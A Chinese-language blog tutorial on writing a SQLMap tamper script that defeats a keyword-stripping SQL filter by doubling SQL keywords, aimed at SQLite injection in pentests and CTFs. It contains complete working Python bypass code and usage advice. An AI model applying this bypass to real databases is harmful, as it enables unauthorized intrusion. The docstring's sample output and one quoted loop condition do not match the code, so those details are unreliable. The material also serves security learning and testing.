在渗透测试或CTF比赛中,有时会遇到对SQL关键字进行过滤的场景。双写绕过是常见的绕过手段之一,例如将SELECT写成SELSELECTECT,在服务器过滤掉中间的SELECT后,剩下的部分仍能组成有效的SELECT。本文将以一次真实的SQLite注入场景为例,分享如何为SQLMap编写一个稳健的双写绕过Tamper脚本,并详细解析其中的技术要点与陷阱。
思路分析
假设目标过滤代码如下,其逻辑是遍历一个SQL关键字黑名单,并使用正则表达式忽略大小写地替换掉这些关键字:
blacklist = ["ABORT", "ACTION", "ADD", ..., "WHERE", "WINDOW", "WITH", "WITHOUT"]
for n in blacklist:
regex = re.compile(n, re.IGNORECASE)
username = regex.sub("", username)
起初,我们可能会参考网络上已有的Tamper脚本思路,例如通过正则匹配单词边界,然后在关键字字符串的随机位置插入自身。
for keyword in keywords:
_ = random.randint(1, len(keyword) - 1)
retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal)
图:正则表达式在线测试工具匹配关键词OR
但这种简单的随机插入策略存在两个主要问题:
- 可能产生新的敏感词:例如将
SELECT在位置3插入(SELSELECTECT),会新生成一个黑名单中的单词ELSE,导致后续过滤或SQLMap自身判断出错。
- 混淆粒度不匹配:混淆以“单词”为单位,但过滤是以“出现的字符串”为单位。考虑黑名单为
['OR', 'ORDER'],原Payload为ORDER。混淆后变为OORRDER,过滤程序会先移除OR,得到ORDER,再移除ORDER,最终得到一个空字符串,导致Payload失效。
因此,一个健壮的双写绕过脚本需要确保:插入自身后,不会在黑名单中生成另一个无关的敏感词;同时,需要处理黑名单关键字之间存在的包含关系(如ORDER包含OR)。
Tamper脚本编写
首先,了解SQLMap Tamper脚本的基本结构:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
return payload
__priority__ 定义脚本优先级。
dependencies() 声明脚本的适用条件,可为空。
tamper(payload, **kwargs) 是核心函数,负责处理并返回变形后的Payload。
接下来是完整的双写绕过Tamper脚本代码:
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
"""
优化的双写绕过,顺序插入并判断是否新组成过滤单词
比如SELECT,当插入位置为3时为SELSELECTECT,则会生成黑名单列表中另一个单词ELSE造成误判
在此进行相关判断以保证生成的字符不存在另一个敏感词。
主要应对:
blacklist = [...]
for n in blacklist:
regex = re.compile(n, re.IGNORECASE)
username = regex.sub("", username)
>>> tamper('select 1 or 2 ORDER')
'selorect 1 oorr 2 OorRDER'
"""
keywords = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_DATE", "CURRENT_TIME", "CURRENT_TIMESTAMP", "DATABASE", "DEFAULT", "DEFERRABLE", "DEFERRED", "DELETE", "DESC", "DETACH", "DISTINCT", "DO", "DROP", "EACH", "ELSE", "END", "ESCAPE", "EXCEPT", "EXCLUDE", "EXCLUSIVE", "EXISTS", "EXPLAIN", "FAIL", "FILTER", "FIRST", "FOLLOWING", "FOR", "FOREIGN", "FROM", "FULL", "GENERATED", "GLOB", "GROUP", "GROUPS", "HAVING", "IF", "IGNORE", "IMMEDIATE", "INDEX", "INDEXED", "INITIALLY", "INNER", "INSERT", "INSTEAD", "INTERSECT", "INTO", "IS", "ISNULL", "JOIN", "KEY", "LAST", "LEFT", "LIKE", "LIMIT", "MATCH", "MATERIALIZED", "NATURAL", "NO", "NOT", "NOTHING", "NOTNULL", "NULL", "NULLS", "OF", "OFFSET", "ON", "OR", "ORDER", "OTHERS", "OUTER", "OVER", "PARTITION", "PLAN", "PRAGMA", "PRECEDING", "PRIMARY", "QUERY", "RAISE", "RANGE", "RECURSIVE", "REFERENCES", "REGEXP", "REINDEX", "RELEASE", "RENAME", "REPLACE", "RESTRICT", "RETURNING", "RIGHT", "ROLLBACK", "ROW", "ROWS", "SAVEPOINT", "SELECT", "SET", "TABLE", "TEMP", "TEMPORARY", "THEN", "TIES", "TO", "TRANSACTION", "TRIGGER", "UNBOUNDED", "UNION", "UNIQUE", "UPDATE", "USING", "VACUUM", "VALUES", "VIEW", "VIRTUAL", "WHEN", "WHERE", "WINDOW", "WITH", "WITHOUT"]
retVal = payload
warnMsg = "当前关键字列表如下,请注意修改:\n"
warnMsg += "%s" % keywords
singleTimeWarnMessage(warnMsg)
if payload:
for key in reversed(keywords):
index = keywords.index(key)
num = 1
check = True
while check:
if num >= len(key):
singleTimeWarnMessage('无法绕过双写关键字列表')
exit()
check = False
repStr = "%s%s%s" % (key[:num], key, key[num:])
for t in keywords[:index]:
if re.search(t, repStr) and not re.search(t, key):
check = True
break
num += 1
retVal = re.sub(key, repStr, retVal, flags=re.I)
return retVal
代码逻辑解析
-
逆序处理关键字 (for key in reversed(keywords):):这是关键。混淆时从长到短(如先处理ORDER,再处理OR),过滤时从短到长(先移除OR,再移除ORDER),可以确保Payload被正确还原。
-
寻找安全的插入位置 (while num < len(key) and check:):num代表插入位置。算法从第一个字符后开始尝试插入(num=1),生成双写字符串repStr。
-
二次安全校验 (for t in keywords[:index]:):检查生成的repStr是否会包含列表中排在当前关键字之前(即更短或顺序靠前)的其他敏感词。例如,处理SELECT时,检查SELSELECTECT是否包含ELSE。如果包含,则该插入位置不安全,check被置为True,num加1,尝试下一个插入位置。
not re.search(t, key) 这个条件是为了避免误判。例如ORDER本身包含OR,这是允许的,我们不能因为ORDER包含OR就认为所有插入位置都不安全。
使用此脚本时,只需将keywords列表替换成实际的黑名单,然后配合SQLMap的--tamper参数使用即可。
图:SQLMap成功利用双写绕过Tamper注入SQLite数据库
一个易踩的坑
请注意re.sub()函数的参数顺序。它的完整签名是re.sub(pattern, repl, string, count=0, flags=0)。在编写时,很容易习惯性地将flags=re.I错误地放在第三个参数位置。
由于re.I的值是2,如果错误地写成了re.sub(key, repStr, re.I),这相当于把整数2当成了要处理的字符串,而将flags参数置为默认值0。程序不会报错,但替换的最大次数(count)被限制为2次,可能导致替换不完整,这个问题调试起来相当耗时。
图:Python re.sub函数签名说明
编写通用的WAF绕过脚本本身充满挑战,需要充分考虑各种边界情况。这也解释了为什么SQLMap没有内置一个“万能”的双写绕过Tamper。在实际的安全攻防与CTF竞赛中,根据具体的过滤逻辑定制化脚本,才是最高效的方法。更多实战技术讨论,欢迎访问云栈社区。